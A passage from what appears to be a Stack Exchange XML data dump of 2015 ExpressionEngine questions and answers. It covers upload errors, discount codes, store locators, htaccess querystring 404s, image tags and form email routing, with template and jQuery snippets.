{&#xA;    rewrite ^(.*)$ /cache/1$request_uri/index.html break;&#xA;}&#xA;# END STATIC CACHE RULES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6492" LastEditorUserId="6492" LastEditDate="2015-11-04T20:36:13.430" LastActivityDate="2015-11-04T20:36:13.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32321" PostTypeId="1" CreationDate="2015-07-15T20:48:39.397" Score="0" ViewCount="54" Body="&lt;p&gt;I am using an Assets field for a single file upload to Amazon S3 in a Channel Form, with the simple form input code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;comment_attachment&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;comment_attachment_source&quot; value=&quot;2&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(My field name is &lt;code&gt;comment_attachment&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly for files whose filenames do not already exist in the destination folder. However, when I attempt to upload a file that shares the same name as an existing file, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function getName() on a non-object in /[...]/system/expressionengine/third_party/assets/sources/base_source.php on line 656&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The desired functionality would be an automatic rename to add an integer to the filename to differentiate it from other files of the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've verified the same error is taking place on my development (MAMP) and production (Rackspace Cloud Sites) environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2, Assets 2.5, PHP 5.5.1 (dev) and 5.3.2 (production).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can offer!&lt;/p&gt;&#xA;" OwnerUserId="6274" LastEditorUserId="1100" LastEditDate="2015-07-17T10:15:52.753" LastActivityDate="2015-07-17T10:15:52.753" Title="Assets - Channel Form - Renaming files upon upload throwing error" Tags="|assets|pixelandtonic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32322" PostTypeId="1" CreationDate="2015-07-16T02:57:57.447" Score="1" ViewCount="28" Body="&lt;p&gt;For the moment when people signing up on new membership the system send out a welcome email with discount % to be used at our store limited to the membership group (Restrict to Member Groups) and limited to one purchase per customer (Limit Per Customer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The down side is this discount code has unlimited time. I'm not sure if there is an already builtin feature to set how long this discount should last since member signed up (example 14 days) or if this is a feature request?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6495" LastActivityDate="2016-05-31T21:02:30.493" Title="Welcome discount limited to time and membership group" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32323" PostTypeId="2" ParentId="32322" CreationDate="2015-07-16T03:13:50.417" Score="0" Body="&lt;p&gt;There is nothing built in to Store that would allow you to do this. You would need to write an extension to check the members registration date against the coupon code. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-16T03:13:50.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32324" PostTypeId="1" CreationDate="2015-07-16T12:34:06.323" Score="0" ViewCount="85" Body="&lt;p&gt;I've gone through all the steps of installing and activating the Multiple Site Manager for EE. It was all pretty straight forward. Everything appeared to work correctly, but when I click the &quot;Edit Sites,&quot; button at the top I'm sent to just a plain white screen. No errors or anything. From what I can tell the URL is correct, it points to the page &quot;manage_sites&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wasn't sure if anyone had a similar issue like this when using Multiple Site Manager. &lt;/p&gt;&#xA;" OwnerUserId="6496" LastEditorUserId="55" LastEditDate="2015-07-16T13:57:44.270" LastActivityDate="2015-07-17T16:01:58.037" Title="Issue with Multiple Site Manager" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32325" PostTypeId="1" CreationDate="2015-07-16T13:05:51.673" Score="1" ViewCount="185" Body="&lt;p&gt;At the moment we have a website running on Expression Engine with FreeForms Pro. We hope to integrate the forms in a way that this data exists in our MS Dynamics CRM package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to realize this? Would there be any example code/demos online or would this be something only specific vendors could do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope to hear from you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="6497" LastActivityDate="2016-05-27T02:52:13.367" Title="Expression Engine + FreeForms Pro --&gt; MS Dynamics Integration" Tags="|solspace-freeform|php|database-migrations|integration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32326" PostTypeId="2" ParentId="32325" CreationDate="2015-07-16T13:14:46.033" Score="0" Body="&lt;p&gt;Well, according to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://social.microsoft.com/Forums/en-US/a3295c3c-a446-471d-9f30-1753a3e591d0/ms-dynamics-crm-api?forum=crm&quot; rel=&quot;nofollow&quot;&gt;https://social.microsoft.com/Forums/en-US/a3295c3c-a446-471d-9f30-1753a3e591d0/ms-dynamics-crm-api?forum=crm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MS Dynamics CRM supports a web-surface API in the SDK. And according to me, you can develop your own extensions and modules using the FreeForm extension hooks and the ExpressionEngine addon developers guides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/extension_hooks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soooo unless you can expand on your answer, a good developer (especially one familiar with EE addon development) should have no problem solving this for you. As for code examples, use the SDK guide to learn about the Dynamics CRM API, and use the EE addon guides to learn about how to connect your server to that API, and use the FreeForm extension hooks to grab data submitted by FreeForm in your custom modules and extensions (that then connect to the CRM API). &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-16T13:14:46.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32327" PostTypeId="1" CreationDate="2015-07-16T13:29:35.357" Score="0" ViewCount="141" Body="&lt;p&gt;I'm using Google Maps for ExpressionEngine to create a store locator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using to display the results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot; class=&quot;distributor-map&quot;}&#xA;{exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot; match_categories_exact=&quot;true&quot; parse=&quot;inward&quot;}&#xA;    {if has_searched}&#xA;        &amp;lt;ul&amp;gt;&#xA;        {results}&#xA;            &amp;lt;li&amp;gt;{title} - {distance}&amp;lt;/li&amp;gt;&#xA;        {/results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {results}                   &#xA;            {exp:gmap:marker id=&quot;map&quot; show_one_window=&quot;true&quot; latitude=&quot;{location_lat}&quot; longitude=&quot;{location_lng}&quot; geocode=&quot;false&quot; clustering=&quot;true&quot;}&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                {address}&amp;lt;br /&amp;gt;&#xA;                {distributor_postcode}&#xA;                {if contact_number}&#xA;                    &amp;lt;br /&amp;gt;&#xA;                    &amp;lt;i class=&quot;fa fa-phone&quot;&amp;gt;&amp;lt;/i&amp;gt; {contact_number}&#xA;                {/if}&#xA;            {/exp:gmap:marker}      &#xA;        {/results}       &#xA;    {if:else}&#xA;        {exp:channel:entries channel=&quot;distributors&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot; parse=&quot;inward&quot;}   &#xA;            {location_gmap id=&quot;map&quot;}    &#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;&#xA;    {if absolute_count == 1}&#xA;    &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Hint: Try searching for 'Hoosier National Forest' at a distance of 20 miles.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if no_results} &#xA;        &amp;lt;p&amp;gt;No results found&amp;lt;/p&amp;gt;     &#xA;        {exp:channel:entries channel=&quot;distributors&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot; parse=&quot;inward&quot;}   &#xA;            {location_gmap id=&quot;map&quot;}&#xA;        {/exp:channel:entries}&#xA;    {/if}   &#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a link around the title and distance that will open the info window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {results}&#xA;        &amp;lt;li&amp;gt;{title} - {distance}&amp;lt;/li&amp;gt;&#xA;    {/results}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone please point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wayne&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2016-05-31T02:42:35.290" Title="Google Maps for ExpressionEngine Store locator open infowindow from search results" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32328" PostTypeId="2" ParentId="32315" CreationDate="2015-07-16T14:46:29.690" Score="1" Body="&lt;p&gt;The &quot;default email format&quot; setting does only one thing, and that is determine the initial state of the &quot;Email Format&quot; dropdown when you go to &lt;strong&gt;Tools &amp;rarr; Communicate&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other emails generated by EE - be it from the Forum module, or comment notifications, new entry notifications, etc - will be sent as plain text. Currently there is no way to change that without altering core files.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-16T14:46:29.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32329" PostTypeId="1" CreationDate="2015-07-16T14:53:03.187" Score="0" ViewCount="89" Body="&lt;p&gt;I want to get the image detail by its ID  rather than the URL.&#xA;Here is my code that is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List page&#xA;{exp:channel:entries channel=&quot;gallery&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery_images}&#xA; &amp;lt;li&amp;gt;  &#xA;&amp;lt;a href=&quot;/gallery/detail/{image:id}/&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:medium}&quot; class=&quot;img&quot; alt=&quot;{image:title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA; &amp;lt;/li&amp;gt;&#xA;{/gallery_images}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detailed Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;gallery&quot;}&#xA; {exp:channel_images:images  segment_3=&quot;{image:id}&quot;}&#xA;&#xA;{/exp:channel_images:images} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6110" LastActivityDate="2016-05-26T11:33:17.637" Title="Channel Image - get detailed image by ID" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32330" PostTypeId="2" ParentId="32327" CreationDate="2015-07-16T15:20:06.383" Score="0" Body="&lt;p&gt;Well, first, you need to associate your list item tags with the corresponding markers. If the {exp:gmap:markers} tag only outputs DOM elements for the map and  nothing that shows automatically, you can first reduce your loops by one for association:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {results}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot; class=&quot;marker_link&quot; data-markerclass=&quot;marker_box_{result:entry_id}&quot;&amp;gt;&#xA;                {title} - {distance}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {exp:gmap:marker id=&quot;map&quot; show_one_window=&quot;true&quot; latitude=&quot;{location_lat}&quot; longitude=&quot;{location_lng}&quot; geocode=&quot;false&quot; clustering=&quot;true&quot; class=&quot;marker_box_{result:entry_id}&quot;}&#xA;            &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;            {address}&amp;lt;br /&amp;gt;&#xA;            {distributor_postcode}&#xA;            {if contact_number}&#xA;                &amp;lt;br /&amp;gt;&#xA;                &amp;lt;i class=&quot;fa fa-phone&quot;&amp;gt;&amp;lt;/i&amp;gt; {contact_number}&#xA;            {/if}&#xA;        {/exp:gmap:marker}&#xA;    {/results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives you a link with the class and data link (example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;marker_link&quot;&#xA;data-markerclass=&quot;marker_box_42&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the infobox has a class of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;marker_box_42&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And from there, you can just jam some JavaScript on the bottom of your page. This is a an approximation and you will need to modify it to fit your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;.marker_link').click(function(e){ &#xA;        e.preventDefault();&#xA;        var class = $(this).data(&quot;markerclass&quot;); // = &quot;marker_box_42&quot;&#xA;&#xA;        /*&#xA;        here you have to do your research on the gmaps JS api,&#xA;        to figure out the method to show a marker based on it's class name.&#xA;        but now you have the class of the info box you want to pop-up&#xA;        in jquery, it might be as simple as this &#xA;        */&#xA;&#xA;        $(class).show();&#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thaaat should get you there, or really close to your solution.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-16T15:20:06.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32331" PostTypeId="1" AcceptedAnswerId="32332" CreationDate="2015-07-16T15:32:54.317" Score="3" ViewCount="644" Body="&lt;p&gt;I've got a problem with an old site (running EE2.4) which is issuing a 404 if the URL contains a querystring. This is happening on the homepage only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/?foo=bar&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?foo=bar&lt;/a&gt;  causes a 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com?foo=bar&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com?foo=bar&lt;/a&gt;   causes a 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/abc/?foo=bar&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/abc/?foo=bar&lt;/a&gt; is fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/abc?foo=bar&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/abc?foo=bar&lt;/a&gt;  is fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index.php is being removed from the URLs using the following htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding the QSA paramater to the rewrite with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I visit &lt;a href=&quot;http://www.example.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/index.php&lt;/a&gt; then the homepage loads but as soon as I append a querystring it's back to the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried setting the URI protocol to force querystrings but it still doesn't work (and adds ? characters within the URL of other pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might also be pertinent to mention that this site is using Structure. I have tried turning off the &quot;append trailing slash&quot; feature therein.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict URLs is also turned on. But turning it off doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can get this to work is to set the 404 page to be the homepage template. Then it works but obviously means that nonsense URLs will resolve to the homepage - which is undesirable.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-07-16T16:09:44.300" LastActivityDate="2017-03-01T08:10:01.260" Title="Querystrings on 'home' url go to 404 page" Tags="|htaccess|404|querystring|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32332" PostTypeId="2" ParentId="32331" CreationDate="2015-07-16T15:48:07.900" Score="3" Body="&lt;p&gt;I don't think the issue is with the friendly URL's, however you can test this by removing that block from the htaccess and typing the index.php part into your URL : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/index.php?foo=bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another thing to check is that ExpressionEngine itself is not clearing the get parameters, which can happen as all ee actions are submitted to the home URL. To do this open up your &lt;code&gt;/system/expressionengine/config/config.php&lt;/code&gt; file, and goto line 47 (in EE 2.10.1). CHange the &lt;code&gt;$config['uri_protocol']&lt;/code&gt; to &quot;PATH_INFO&quot;. Give these 2 methods a go and see how you get on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let us know if it helps or not!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref : &lt;a href=&quot;https://ellislab.com/forums/viewthread/201950/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/201950/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-16T15:48:07.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32333" PostTypeId="2" ParentId="32329" CreationDate="2015-07-16T15:55:25.263" Score="0" Body="&lt;p&gt;Here is how you would do the detail page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images image_id=&quot;{segment_3}&quot;}&#xA;{image:url}&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another choice if you have a variable called image already is to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images image_id=&quot;{segment_3}&quot; prefix=&quot;ci&quot;}&#xA;{ci:url}&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditDate="2015-07-17T13:02:27.210" LastActivityDate="2015-07-17T13:02:27.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32334" PostTypeId="1" AcceptedAnswerId="32425" CreationDate="2015-07-16T17:57:54.700" Score="1" ViewCount="102" Body="&lt;p&gt;I have the plugin working fine and pulling in {description} however I'd like to be able to shorten the length of that text. I've tried the following addons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Character Limit, Word Limit, and TruncHtml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to set this up using Magpie RSS Parser, and none of these worked with that either.  Is this just not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to add: Also tried Hacksaw&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to add code:&#xA;&lt;code&gt;&#xA;{exp:magpie url=&quot;{embed:feed}&quot; limit=&quot;3&quot; refresh=&quot;720&quot;}&#xA;    {items}&#xA;        &lt;h3&gt;{title}&lt;/h3&gt;&#xA;        {exp:eehive_hacksaw char=&quot;100&quot;}&#xA;            {description}&#xA;        {/exp:eehive_hacksaw}&#xA;    {/items}&#xA;{/exp:magpie}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling this is a parsing issue.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2015-07-16T21:26:35.543" LastActivityDate="2015-07-24T13:47:54.957" Title="AJW Feed Parser + character/word limit" Tags="|feedparser|magpie|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32336" PostTypeId="1" CreationDate="2015-07-16T18:38:21.327" Score="0" ViewCount="57" Body="&lt;p&gt;So I want to show &quot;Open-Now&quot; if the current time is in betwee in the open hours (which are put in a grid time select field). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have right now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if {current_time format=&quot;%h&quot;} &amp;gt;= {branch_hours:opening_hour} &amp;amp;&amp;amp; {current_time format=&quot;%h&quot;} &amp;lt;= {branch_hours:closing_hour} } &amp;lt;span class=&quot;open-now text-right&quot;&amp;gt;Open Now&amp;lt;/span&amp;gt; {/if}&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not really working, and not sure why? Is what I'm aiming for even possible?&lt;/p&gt;&#xA;" OwnerUserId="6490" LastActivityDate="2015-09-15T03:29:40.533" Title="Conditional Statements to show Open Hours" Tags="|conditionals|grid|time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32337" PostTypeId="2" ParentId="32325" CreationDate="2015-07-16T19:09:03.860" Score="0" Body="&lt;p&gt;Peter, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As jrothafer pointed out, you can reference the documentation for each platform (including the Freeform extension hooks) and build a solution that will do what you want. I don't know of any one tutuorial that covers this specific case. Of course, that's the trouble with API integrations: they tend to be specific to the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of development companies out there that can do the customization work for you. Solspace, who makes Freeform, also does custom CRM integrations (see: &lt;a href=&quot;https://solspace.com/services/salesforce&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/services/salesforce&lt;/a&gt;) and might be able to help.&lt;/p&gt;&#xA;" OwnerUserId="239" LastActivityDate="2015-07-16T19:09:03.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32338" PostTypeId="1" AcceptedAnswerId="32398" CreationDate="2015-07-16T20:07:14.403" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to output a category group and its respective entry listing titles (in this case the titles are names of people) in alphabetical order by last name in a menu navigation like so. To do this, I've created a custom field called &lt;code&gt;last_name&lt;/code&gt; thinking I could use this tag &lt;code&gt;orderby=&quot;last_name&lt;/code&gt;, but because &lt;code&gt;category_archive&lt;/code&gt; doesn't support this parameter, I'm not able to accomplish this way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jon Doe&lt;/li&gt;&#xA;&lt;li&gt;Jane Doe&lt;/li&gt;&#xA;&lt;li&gt;Janet Doe&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jon Doe&lt;/li&gt;&#xA;&lt;li&gt;Jane Doe&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the code I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-unstyled main-list&quot;&amp;gt;&#xA;    {exp:channel:category_archive channel=&quot;speakers&quot; style=&quot;linear&quot; backspace=&quot;7&quot; show=&quot;not 28}&#xA;        &amp;lt;li&amp;gt;&#xA;            {categories}&#xA;                &amp;lt;a class=&quot;btn-open&quot; href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;            {/categories} &#xA;            &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt; &#xA;                {entry_titles}  &#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/entry_titles}     &#xA;            &amp;lt;/ul&amp;gt; &#xA;        &amp;lt;/li&amp;gt;   &#xA;    {/exp:channel:category_archive}     &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to accomplish so I can get a bit more flexibility. Perhaps playa or some other plugin or native code? Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-07-23T02:37:07.877" Title="Is there another way to output Categories and all respective entries other than category_archive?" Tags="|categories|entries|navigation|category-archive|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32339" PostTypeId="2" ParentId="32334" CreationDate="2015-07-16T20:09:32.500" Score="0" Body="&lt;p&gt;Trunch and Hacksaw should work, but, understand that they'd be truncating the content on the front-end / template side, and wouldn't be altering the actual content in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you could set the description field to a text input and set the maximum length, and all of the fields would get truncated on the database-side. It wouldn't look very good (things would get cut-off mid-word), but, that's how you could do it on the back-end with the actual data.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-07-16T20:09:32.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32340" PostTypeId="2" ParentId="32336" CreationDate="2015-07-16T20:44:09.957" Score="1" Body="&lt;p&gt;jrothafer's troubleshooting suggestion will tell you a lot. If that looks good, try putting the tags in single quotes like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%h&quot;}' &amp;gt;= '{branch_hours:opening_hour}' &amp;amp;&amp;amp; '{current_time format=&quot;%h&quot;}' &amp;lt;= '{branch_hours:closing_hour}' } &amp;lt;span class=&quot;open-now text-right&quot;&amp;gt;Open Now&amp;lt;/span&amp;gt; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-07-16T20:44:09.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32341" PostTypeId="1" CreationDate="2015-07-16T21:25:35.450" Score="0" ViewCount="502" Body="&lt;p&gt;I have a Freeform form that is a request for information.   There are checkboxes in the form for various locations on the site.  I want to dynamically send emails based on the checkboxes that are checked.   Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is poorly written the way it is now.  After the form is submitted, the coder added raw php to the response template to parse the locations and build a string for the &quot;to&quot; variable for the dynamic recipients.  The mail was sent using the php &quot;mail&quot; command.   They also put it inside a freeform entries tag pair.    What happens is sometimes the mail does not send at all, and sometimes it sends duplicates, which are also sent at different times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions either with or without Expression Engine?&lt;/p&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2019-05-17T20:01:05.217" Title="Freeform and Dynamic Email Recipients" Tags="|solspace-freeform|php|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32344" PostTypeId="2" ParentId="32305" CreationDate="2015-07-17T08:00:20.957" Score="0" Body="&lt;p&gt;AB Pagination has support for &quot;Strict URLs&quot; which will throw a 404 if you reach a page where there are no more entries: &lt;a href=&quot;https://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/ab-pagination&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-07-17T08:00:20.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
